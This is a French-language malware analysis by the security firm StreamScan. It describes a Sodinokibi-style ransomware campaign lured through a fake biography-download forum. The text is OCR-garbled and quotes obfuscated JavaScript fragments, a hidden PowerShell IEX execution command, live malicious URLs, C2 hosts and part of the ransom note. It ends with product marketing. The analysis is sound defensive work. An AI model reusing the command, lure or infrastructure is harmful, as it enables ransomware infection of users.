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Introduction

Dans le présent article, nous présentons une campagne pernicieuse d‘infection par

ransomware ciblant les internautes francophones, a travers le monde.

L'attaque que nous qualifions de complexe utilise I'ingénierie sociale pour convaincre
I'internaute de télécharger un document qui se trouve étre en réalité un ransomware. Le
scénario d'ingénierie social utilisé est sophistiqué, ce qui permet de déjouer facilement
la vigilance de I'utilisateur.

Le ransomware concerné est de type zero-day (c’est-a-dire qu'il est de nouvelle
génération) ce qui le rend indétectable par les antivirus du marché. Ainsi, lorsque
I'utilisateur ouvre le fichier téléchargé : son sort est scellé.
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La description du cas

A — Le scénario de l'infection

1- Lorsqu’un internaute francophone cherche un exemple de biographie professionnelle
sur le moteur de recherche de Microsoft BING, dans les toutes premieres pages
retournées, I'on voit apparaitre I'URL suivant http://brylcreemusa.com/un-exemple-de-

biographie/
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2- Le site web http://brylcreemusa.com/un-exemple-de-biographie/ est situé a
Scottsdale en Arizona, aux USA.

En analysant cette page, on se rend compte que les pirates utilisent l'ingénierie sociale
pour encourager |'utilisateur a télécharger un document qu’ils font passer pour un
exemple de bibliographie professionnelle.




En effet, tous les messages affichés sur ce site sont publiés par une méme personne, qui
prend plusieurs identités, afin de leurrer l'internaute.

e On voit un utilisateur dont le pseudo est Fluffy demander ot il peut trouver un
exemple de biographie.

e Un utilisateur dont le pseudo est Admin publie un lien permettant de télécharger
le document demandé. Noter que le choix de ce pseudo Admin n’est pas anodin.
En effet, il laisse penser que I'on a affaire a I'administrateur du site web, donc une
personne crédible et fiable.

o L'utilisateur Fluffy renchérit et indique que c’est exactement le document qu'il
cherchait.

En réalité, tout ce stratagéme est mis en place par une méme personne afin de mettre
Iinternaute en confiance et lui faire baisser sa garde. Et ¢ca marche! N'importe qui
cherchant un tel document aurait sGrement cliqué sur le lien de téléchargement.

- C ¢ Beykreemusa com o 0
QUESTIONS AND ANSWERS
Login  Segn Up
------ e Ses Al s
un exemple de biographie?
Fluffy Bonjour, je cherche & télécharger un exemple de biographie. Un ami m™a dit qu'il étadt

sur votre forum, Est-ce que vous pouvez m'aider?

&

Admin Void un lien de téléchargement direct, un exemple de bicoraphie.

¢




Nous avons aussi constaté que les dates des publications sont constamment changées
pour donner I'impression qu'ils sont récents, ce qui est aussi un facteur rassurant pour

I'internaute.

3- Des que I'utilisateur clique sur le lien, un exemple de biographie, un fichier compressé

nommé, an_example_of_biography.zip se télécharge sur son ordinateur.

usb

/ \

un_exemple_de_biographie un_exemple_de_biographie.
zip

Le fichier an_example_of_biography.zip contient un programme informatique malicieux
de type JavaScript nommé a_example_of_biography.JS.

usb x

un_exemple_de_biographie.
js

Deés que I'utilisateur clique sur le fichier a_example_of_biography.JS, I'étau se referme

sur lui : son ordinateur est infecté par un ransomware qui chiffre toutes ses données.




4- Un apercu du trafic réseau lors du téléchargement du fichier
an_example_of_biography.zip est le suivant :

Fichier Machine Ecran Entrée Periphériques Aide

a
anm @ REQesEFTIFEQaaad
N [tp.stream eq 85 = ~ | Expression.
No. Time Source Destnation Protocol  Length Info
6143 171.983190 10.0.2.15 178.21.20.23 TP 66 49938 + 80 [SYN] Seq=0 Wi 65535 n=@ HSS 1460 WS=256 SACK_PERM=1
6144 172.025215  178.21.20.23 10.0.2.15 cp 60 80 + 49938 [SYN, ACK] Seq=0 A 535 Len=0 MsS=1460
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Analyse du ransomware

1- Détails sur le fichier malicieux un_exemple_de_biographie.JS

e Nom du fichier: un_exemple_de_biographie.JS

e Hash MD5: 31fc30e73e38cbe149201f31dabffda?

e Hash SHA-1: 785eb739753c037ec47137f71bac6e70ddeb63c34

e Hash SHA-256:
bc2567d71145cc36cdbc14a963afcc38c0809e174529d913e2cd4bfdff031ef8

2- Analyse initiale

1- En soumettant le fichier un_exemple_de_biographie.JS pour analyse sur le site
web Virustotal en date du 2019-11-07, nous constatons que seulement 3 antivirus
sur 56 sont capables de l'identifier comme étant potentiellement malicieux
(download malicieux). Tous les autres antivirus le considérent comme un fichier
sain.




Cc @ virustotal.com/gui/file/bc2567d71145cc36cdbc14a963afcc38c0809e174529d913e2cd4bfdff031ef8/detection

&
Z bc2567d71145cc36cd6c14a963afcc38c0809e174529d913e2¢cd4bfdif031ef8 Q

@ 3 engines detected this file

bc2567d71145cc36cd6c14a963afcc38c0809e174529d913e2cd4bfdff031ef8 1.64KB 2019-11-07 19:54:40 UTC
un_exemple_de_biographie js Size 2 hours ago
text
Community
Score
DETECTION DETAILS BEHAVIOR COMMUNITY
NANO-Antivirus @ Trojan.Script. Downloader frvoav Symantec @ JS.Downloader
ZoneAlarm by Check Point @ HEUR:Trojan-Downloader.Script. Generic Ad-Aware (;) Undetected

2- En analysant le lien http://brylcreemusa.com/un-exemple-de-biographie/ via

Virustotal, on constate qu'il est considéré comme étant sain. La navigation sur un
tel site web ne sera donc pas bloquée par les outils de filtrage web.

& Cc 8 virustotal.com/gui/url/24ca0b1ea5e1fd0db6a23194fed2c1910af94c5a9ba79b2715a71a7b736efb38/detection

Z http://brylcreemusa.com/un-exemple-de-biographie/

(©) Noengines detected this URL

http://brylcreemusa.com/un-exemple-de-biographie/ 200 text/html; charset=UTF-8 2019-11-07 18:53:05 UTC
brylcreemusa.com Status Content Type 1 month ago
DETECTION DETAILS COMMUNITY

ADMINUSLabs ) Clean AegisLab WebGuard @) Clean

AlienVault (©) Clean Antiy-AVL ) Clean

Avira (no cloud) ) Clean BADWARE INFO © Clean

Baidu-Intemational © Clean BitDefender © Clean

Blueliv () Clean CLEAN MX ) Clean

Comodo Site Inspector ) Clean CRDF © Clean

CyberCrime © Clean CyRadar © Clean

desenmascara.me (@) Clean DNS8 ) Clean

Dr.Web © Clean Emsisoft ) Clean




3- Nous avons téléchargé le fichier un_exemple_de_biographie.JS et I'avons analysé
par trois antivirus/anti-malwares. Aucun de ces antivirus n'a détecté le fichier comme

étant malicieux.

e Malwarebytes
e EST NOD32
e ClamAvV

D- Analyse du ransomware

1- Lorsque ['utilisateur exécute le fichier un_exemple_de_biographie.JS, son ordinateur
sera infecté par un ransomware. Par la suite, les fichiers susceptibles de contenir des
données sont chiffrés. Voici un exemple des extensions de fichiers qui sont
cryptés : .TXT, .DOC, .DOCX, .XLS, .PDF, etc.

Dans chaque dossier, aprés avoir chiffré les données, le ransomware laisse un fichier
appelé xxxxxx-readme.txt. XXXXX est une chaine aléatoire créée pour chaque infection.
Dans cet exemple, le nom du fichier est p2oz3acw8-readme.txt.

Ce fichier contient des instructions pour le paiement de la rancon.
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[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.

If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much
[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!

a) Download and install TOR browser from this site: https://torproject.org/
b) Open our website: http://aplebzudZ 6zcnjppl 2nmyoyd . onion/@016F!

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
b) Open our secondary website: http://decryptor.top/0016FB685828DE81

Warning: secondary website can be blocked, thats why first variant much better and more available.

When you open our website, put the following data in the input form:
Key:

cI3dmMjvQ/HaX35060MxqMq04A1qhY JagXY5d6SeojHex/u2+DQWh6q)GGMLSSG
A7ZdeMMKLQFx/VvuZP1SpKHAIQYCPSALVeHUDiKhYRLPhehtW1RZOtAIGCmUBeci0
Eh3ciKIMF/31QotuIYXYMPZVZPIzwrznY U048k +4wZ109E 1pPBai +MKuw/P+X2gw
TI8Y+KABPQQDT@t4IWemBLYusZvMw@9 Ly 3N22xmzS635hV1FOVC1IRVWZSAGLKKX
dNFL1p15YV/wIjDrtpyDP/RuStaiyD23cCS5HEWS 16KprgTqH jkwOdANCKLt JW
15VABnMst195/Q630Z1Yb/wo719jw¥mDRpaE )3y 7KPIXX5L jheNFtfEggqos901G
C1810FX+IXWixm0S8a0Z2aNgdsFhPHSrj J54vBBRWT 3VaQI rZQMTYhVNICS Japgk
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2- En ouvrant le fichier un_exemple_de_biographie.JS, on remarque que son contenu
est obfusqué. Cette technique est couramment utilisée par les ransomwares afin de
rendre leur détection difficile par les outils de sécurité.

un_exemple_de_blographie |s
UQ14(GV31){

Ha6164 GV31,

Bu52-Ha6164+GV31+Ha6164;

1g28() {Ed53 - xS28.split(AS88);}
Zu68() {Ed53[Bu52]
CK92[EdS3[eB52]);)
pN71() {Ed53[Bu52)(Ed53[Ha6164))
(EdS3[Ha6164]))
CK92(wz45){
cf65 - ‘fee/\'p\\:I(+ps3Ft.0Xtt04hp03\\i\ [0
N)c.h.S W BT }7E{ ]G e+\\)\'\'I\\(1s/
n-ete- rp-{uo) e.)q.30Ep3 4hz,2pT\
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62b;4.1)yrb0les3+pa+\ ) ’h




Le contenu deobfusqué du un_exemple_de_biographie.JS est le suivant :

N UQ14(GV31) {

64+GV31+Ha6164;

n 1g28() {EdS3 = x528.5plit(ASE8);)
2u68() {Ed53(BuS2] = CK92[Ed53(eBS52]);)
pN71() {EA53[BuS2] (Ed53[Ha6164]) (Ed53[Ha6164]);}
CK92(wz45) {

}
CK92(0);UQ14(1);
fun

n 1q5458(Es48) {cP3 = FG92;e19980=eB52; while (eI9980 < ko34) { CC18 = Es48.charAt(eI9986);if (eI9980 % (Ha6164+Ha6164)) cP3=cP3+CC18; else cP3=CC18+cP3; eI9980++; }return cP3;}
5458(cf65) ;

PN7L();

3- Lorsque le fichier JavaScript est lancé, il s'exécute via Powershell. Le script malicieux
est exécuté en prenant en entrée un fichier nommé gnzrltdbyx.txt. Noter que ce nom est
aléatoire.

A la fin de I'opération de chiffrement des données sur la machine infectée, le fichier
gnzrltdbyx.txt sera aussi chiffré.

Fchier Acion Affichage [+

|25 B

8l Observateur d'événements (Loc! [N —— Actions
3 Affchages pesonnais | [ —— 5B8b8®98BS5PS i .
3 Joumns oo - Oute ethewre Source 10 de Févénement  Catégoriede athche power_shell [+] wha
© = Journaus des applications et | (D) Information 2019-11-08 16:11:28 PowerShell (Powershell 600 Cycle de vie du fournisseur = Ouviirle joumnsl enregistre.
] Interet Explorer Dinformation 20191108 16:11:28 PowerShell (Powershell 500 Cycle de vie du fournisseur ¥ Créer une vue personnalisée ts just
v Microsoft B Information 2019-11-08 16:10:53 PowerShell (PowerShell) 400 Cycle de vie du moteur o check
L ’ Importer une vue personnaliée.. ]
Antimahware 2019-11-08 16:10:53 Powershel (PowerShell 600 Cycle de vie du fournisseur you
1 ApeV 2019-11.08 161053 Powershell Powershell 800 Cycl de vie du fouriszeur T Fierle journal actul .
~ L] User Experience Vintu] 2019-11-08 16:16:53 PomerShell (PowerShell) 600 Cycle de vie du fournisseur @ Propriétés [+] How t
v [ AgentDiver 2010-11.08 16:1053 PowerShel (PowerShel) 600 Cyclede vie du fournsseur 28 Rechercher .
) Opéaiomne || © tcemason 2151140161053 Povashe oweshel 60 Ccedevidofoummen B s
App Agent @ iformation 2019-11-08 161053 Powershell Pomershell 600 Cyclede vie do fournisseur vegitre tous s événements sous.
Pc ) Information 2019-11-08 16:10:06 PowerShell (PowerShell) 400 Cycle de vie du moteur Affichage 4 [Recon
samupiosder || : § _ a) Down
s D nfomation 2019-11.08 161606 Powershell Ponershell 500 Cycl devie du foumiszeur K Sopprimer o
2] Senncedegeston de il | Dnfomaton 2019-11-08 161006 PowerShel (PowerShel) 600 Cyclede vie du fournsseur M
e Senicede gestion de 1} ® information 9-11-02 16:100 owseShel (PowerShel ce devie du fourn =1 fenommer 2) 1f
£l wdom v | @ifemai 2001148 161206 PoweiShell Powershel 600 Cycle devie duf o e ) w0
B Evirerments ettt 2151108 16708 Powershell Ponershell a0 a) open
[ Journaus enregistrés 2019-11-08 16:10:06 PowerShell (PowesShel) 600 B aide » b) Open
L power, P Powershel] 600 Cycle de vie G
‘g"”‘-""" — Evénement 600, PowerShel (PonerShel) Barning:
onnements e e X [[) Proprictes de evénement
Générel Details B Copier » When you
el Envegisterles vénements séectionnés. Key
SequenceNumber=1
equ G Actualiser DsheknyiE
HostNsme=ConsoleHost B A » d
Hostlerson=5.1.171341 -
Hostd Tbchedd1-Obef414-b435-e35€3cf71d3
i d P ~Comemand IEX ((Get-Content 'C:\Users\lab\gnzritdbyx tt) Replace( ~. ")) Y OpaEY
Runspaceld= 7518+q\
tLBjvovhi
Journal Windows PowerShell nKfkCCrs4
Lz /6xUrkx
Source:  PowerShell Powershel)  Connecté:  2019-11-08 161006 /
¢ J fok/Twwft
Euinement: 600 Cotégore:  Cyce devie du foumisseur t70cKHowb
Niveau: Information Mots-clés:  Classique NgYdrrecp
Utisteur: A Ordinateur: DESKTOP-J06021
Opcode:
oformations: e sur e our
>

ﬂ O Taper ici pour rechercher

Voici la commande

malicieuse

exécutée via Powershell.

CLoErnet

C:\Windows\SysWOWé4\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy

Bypass -windowstyle hidden -Command IEX ((Get-Content ('C:\Users\lab\gnzrltdbyx.txt
))-Replace('~","));
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Fichier Machine Ecran Entrée Periphénques Aide

1| Observateur d'événements = o x
Fichier Action Affichage ?

| 25| B

B Observateur d'événements (Loc| [ Actions

5 Attichages personnalisés | [ Y
i ,W,,,,f, Windows Nivesu Date et heure Source 1D de I'événement Catégorie de la tiche A Lﬂ =
+ T Journaux des applications et| | () Information 20 PowerShell (PowerShell) 600 Cycle de vie du fournisseur & Ouvrirle joumal enregistré...
2] Internet Explorer % nformation 2 PowerShell (PowerShel) 500 . ¥ Créer une vue personnalisée..
v I Microsoft Information 2019-11-08 1610:53 Powershell (PowerShel) 400 Cycle de vie du moteur ;
W Importer une vue personnalisée...
> [ Antimalware Information 2019-11-08 16:10:53 PowerShell (PowerShell) 600 Cycle de vie du fournisseur
> [ AppV Information 2019-11-0816:10:53 PowerShell (PowerShell) 600 Cycle de vie du fournisseur T Filtrer le journal actuel...
v [ User Experience Virtu{ | ) nformation 2019-11-08 16:10:53 Powershell (PowerShel) 600 Cycle de vie du foumisseur 3 Proprietés
v Aglmmnvu Information 2019-11-08 16:10:53 PowerShel (PowerShell) 600 Cycle de vie du fournisseur B Rechercher.
] opérationnel || ) information 2019-11-08 16:10:53 PowerShell (PowerShell) 600 Cycle de vie du fournis N |
10: ycle de vie du fournisseur
> App Agent nformation 2019-11-08 16:10:53 PowerShell (PowerShell) 600 Cycle de vie du fournisseur B Envegistrertousles événements sous...
> Ewc Information 2019-11-08 16:10:06 Powershel (Powershel) 400 Cycle devie du moteur Affichage »
2w SQM Uploader Information 2019-11-08 16:10:06 Powershell (Powershell) 600 Cycle de vie du fournisseur K Supprimer
e G von de il | @ nfemsten 2019-11-08 16:10:06 Powershell (PowerShell) 600 Cycle de vie du fournisseur ] Renommer
2] vindons omrinet Information 2019:11-08 16:10:06 Powershell (PowerShel) 600 Cycle de vie du fourisseur "
. Information 2019-11-08 16:10:05 Powershel (PowerShell) 600 Cycle de vie du fournisseur G Actualiser
(& Evénements matériels y ) —
J G Joumaux enegisrés Information 2019-11-08 16:10:06 Powershell (PowerShell) 600 Cycle de vie du fournisseur B e »
Information 2019-11-08 16:10:06 Powershell (PowerShell) 600 Cycle de vie du foumisseur .
I powershet i Evénement 600, Powershell(Powerhell =
- Evénement 600, PowerShell (PowerShell) X |[] Propriétés de I'évenement
Général  Détails 5 Copier »
I Envegistrer les événements sélectionnés...
HostVersion=5.1.17134.1 . Actush
Hostld=61362d23-6432-483-b5e6-C 50261624996 G Actusliser
HostApplication=powershell -« B Ade »
IQAZQAGAC
EngineVersion=
Runspaceld=
Pipeineld=
CommandName= v
Journal : Windows PowerShell
Source:  Powershell PowerShel)  Connecté:  2019-11-08 16:11:28
Evénement: 600 Catégorie:  Cycle de vie du foumisseur
Niveau: Information Mots-clés:  Classique
Utisateur: /A Ordineteur: DESKTOP-10)6021
Opcode:
Informations : ~ Aide sur le Journal
>

4— Lors de son exécution, le
suivants :

ransomware communique avec les noms de domaines

e 178.21.20.23 www.fitnesscentrumvoorweg.nl (basé aux Pays-Bas)
e 46.30.215.148 sylviasinel.com (basé a Copenhagen et au Denmark)
e 23.20.239.12 www.familiando.com (base a Ashburn, Virginia)

*Local Area Connection

Capture  Analyze  Statist Telephony ireles T Help

"0 UBRRB Re=2=T o BaQAanm

[http

Accept: */*

HTTP/1.1 200 OK

Accept-Language: en-US
User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.HWinHttpRequest.S)
Host: www.familiando.co

Connection: Keep-Alive
X-Powered-By: PHP/5.6.4@

Content-Type: text/html; charset=UTF-8
Content-Length: @

Date: Fri, @8 Nov 2019 04:13:46 GMT
Server: LiteSpeed

Vary: User-Agent

0, Time Source Destination Protocol  Length Info
5585 52.302235 192.168.247.128 46.30.215.148 HTTP 268 GET /true.php?bibsaohwzjauit=42989971072640043 HTTP/1.1
5588 52.448868 46.30.215.148 192.168.247.128 HTTP 319 HTTP/1.1 200 OK
6358 82.479602 192.168.247.128 149.56.26.49 HTTP 269 GET /true.php?bibsachwzjauit=9775201911561171 HTTP/1.1
636@ 82.761565 149.56.26.49 192.168.247.128 HTTP 256 HTTP/1.1 2@@ OK
6980 113.167193 192.168.247.128 37.48.85.70 HTTP 279 GET /true.php?bibsachwzjauit=4537666019479338 HTTP/1.1
" 6983 113.305862 37.48.85.70 192.168,247.128 HTTP 233 HTTP/1.1 200 OK
M Wireshark . Follow HTTP Stream (tcp.stream eq 24) - Local Area Connection [ E =] =
WSt
GET /true.php?bibsachwzjauit=9775201911561171 HTTP/1.1
Connection: Keep-Alive st
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_ *Local Area Connection

o= =ZF LS [EQaam

2.549511

Am @ LBRE R
i ltcp.stream eq 20 4 Wireshark . Follow TCP Stream (tcp.stream eq 20) - Local Area Connection
Ho. Time Source p— .
5582 52. 196689 192.168] GET /trge.php.b1bsa?hw23au1t=42989971072640043 HTTP/1.1
Connection: Keep-Alive
5583 52.3@1813 46.30. 2] Accept: */*
5584 52.301895 192.168. | accept-Language: en-US
+ 5585 52.302235 192.168.  User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.WinHttpRequest.S)
5586 52.302565 46.30.2)  Host: sylviasinel.com
— 5588 52.448868 46.3@. 2]

HTTP/1.1 202 OK

Date: Fri, @8 Nov 2019 @4:13:16 GMT

559@ 52.549557 192.168.) Server: Apache

5717 57.447430 46.30. 21 X-Powered-By: PHP/7.2.24
5718 57.447517 192.168.  (content-Length: @

5719 57.447580 192. 168

Content-Type: text/html; charset=UTF-8
X-Varnish: 824936451

Age: @

¥ia: 1.1 varnish (Yarnish/6.3)
Accept-Ranges: bytes

Connection: keep-alive

Frame 5585: 268 bytes on wir|
Ethernet II, Src: Vmware 1@:
Internet Protocol Version 4,
Transmission Control Protocg
Hypertext Transfer Protocol

Type de ransomware concerné

La ransomware concernée est une variante zéro-day de Sodinokibi, qui fait des ravages
depuis quelques années. C'est aussi I'un des ransomwares les plus actifs en 2020.

Signalement et démantélement

Nous avons signalé le cas aux autorités qui ont pris les actions nécessaires pour mettre

fin a cette activité malicieuse.
L'opération a pris quelques mois, ce qui est usuel pour le traitement de ce type de cas.
Conclusion et recommandations

Comme l'on a pu le constater dans le cas présenté, les pirates utilisent des techniques
(ingénierie sociale et outils malicieux) de plus en plus sophistiquées pour atteindre leurs
cibles. Nous faisons les recommandations suivantes pour se protéger contre de tels actes

malicieux :

e Sensibiliser constamment les utilisateurs sur les risques de cybersécurité
e Ne pas se fier uniquement sur les antivirus pour vous protéger contre les virus et

autres outils malicieux




Déployer des technologies de sécurité permettant de détecter des outils
malicieux et attaques inconnus (zero-day), tels que la technologie CDS de
Streamscan. Ces types d'attaques sont les plus difficiles a détecter et surtout, elles

causent les dégats les plus importants aux entreprises.
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StreamScan Détection et Réponse Gérées congues pour vous

Cet article vous a été présenté par StreamScan. Notre solution de détection
et réponse gérées (DRG) combine notre technologie innovante CDS et le
soutien de notre équipe de pirates éthiques pour fournir la sécurité
réseau dont votre organisation a besoin, a un coUt nettement inférieur a
celui des frais de licence des logiciels ou de la constitution d'une équipe
de sécurité interne.

Contactez notre équipe de spécialistes en cybersécurité et planifiez une
démo pour découvrir comment StreamScan MDR peut vous aider a
protéger votre entreprise ou votre organisation.

Contactez notre équipe de spécialistes en cybersécurité et planifiez une
démo pour découvrir comment le DRG de StreamScan peut vous aider a
protéger votre entreprise ou votre organisation.

Courriel : demo@streamscan.ai
Téléphone : +1 (650) 264-9702

www.streamscan.ai
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